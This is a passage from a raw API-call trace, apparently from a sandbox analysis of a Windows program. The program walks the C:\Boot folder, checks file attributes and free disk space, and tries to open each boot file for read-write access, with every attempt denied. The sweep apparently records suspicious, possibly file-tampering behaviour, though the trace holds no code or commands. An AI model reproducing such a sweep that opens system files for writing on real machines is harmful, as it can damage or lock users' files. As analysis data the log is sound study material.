ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400)) returned 1 [0075.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.735] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.735] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.736] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.736] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.736] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400)) returned 1 [0075.736] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.736] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0075.736] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.737] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0075.737] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.737] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0075.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.737] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.737] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.738] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0075.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.738] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1 [0075.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.739] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\cs-CZ", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.739] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1 [0075.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.739] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1 [0075.739] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.740] GetLastError () returned 0x5 [0075.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.740] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0075.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.740] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.740] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.740] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\da-DK", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.741] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0075.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.741] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0075.741] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.741] GetLastError () returned 0x5 [0075.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.741] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.741] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1 [0075.742] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.742] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.742] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.742] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.742] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\de-DE", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.742] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.742] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.742] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1 [0075.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.743] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1 [0075.743] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.743] GetLastError () returned 0x5 [0075.743] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.743] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.743] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1 [0075.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.743] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.744] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.744] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\el-GR", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.744] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.744] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.744] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1 [0075.744] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.744] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250)) returned 1 [0075.744] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.745] GetLastError () returned 0x5 [0075.745] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.745] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.745] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.745] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1 [0075.745] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.745] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.745] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.745] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.745] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\en-US", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.746] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.746] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.746] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1 [0075.746] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.746] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1 [0075.746] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.746] GetLastError () returned 0x5 [0075.746] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.746] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.746] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.746] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1 [0075.747] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.747] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.747] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.747] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.747] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\en-US", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.747] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.747] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.747] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1 [0075.747] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.747] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1 [0075.748] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.748] GetLastError () returned 0x5 [0075.748] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.748] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.748] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.748] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, 